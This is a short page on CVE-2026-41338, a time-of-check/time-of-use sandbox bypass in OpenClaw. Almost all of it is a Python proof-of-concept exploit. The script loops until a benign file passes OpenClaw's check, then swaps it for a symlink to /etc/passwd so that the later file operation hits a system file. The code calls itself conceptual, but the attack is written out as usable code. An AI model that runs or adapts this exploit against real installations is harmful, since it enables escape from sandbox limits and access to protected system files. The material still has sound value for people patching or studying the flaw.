CVE-2026-41338 OpenClaw TOCTOU沙箱绕过漏洞

import os import time # Conceptual PoC for TOCTOU in OpenClaw file operations # This script demonstrates the race condition between check and use. def exploit_toctou(target_dir): # Create a legitimate file to pass initial checks legitimate_file = os.path.join(target_dir, "legitimate.dat") with open(legitimate_file, 'w') as f: f.write("safe content") print(f"[*] Created legitimate file: {legitimate_file}") # Simulate the race condition window # In a real scenario, this would be synchronized with the victim process triggering the operation try: while True: # Simulate the 'Check' phase passing if os.path.exists(legitimate_file): print("[+] Phase 'Check' detected. Swapping file object...") # Step 3: Swap with a symlink or malicious file before 'Use' os.remove(legitimate_file) # Pointing to a sensitive file to demonstrate bypass os.symlink("/etc/passwd", legitimate_file) print("[!] File swapped to symlink pointing to /etc/passwd") # Allow time for the 'Use' phase to execute (apply_patch/remove/mkdir) time.sleep(0.1) # Restore to avoid crashing or repeated detection os.remove(legitimate_file) with open(legitimate_file, 'w') as f: f.write("safe content") break time.sleep(0.01) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_toctou("/tmp/openclaw_sandbox")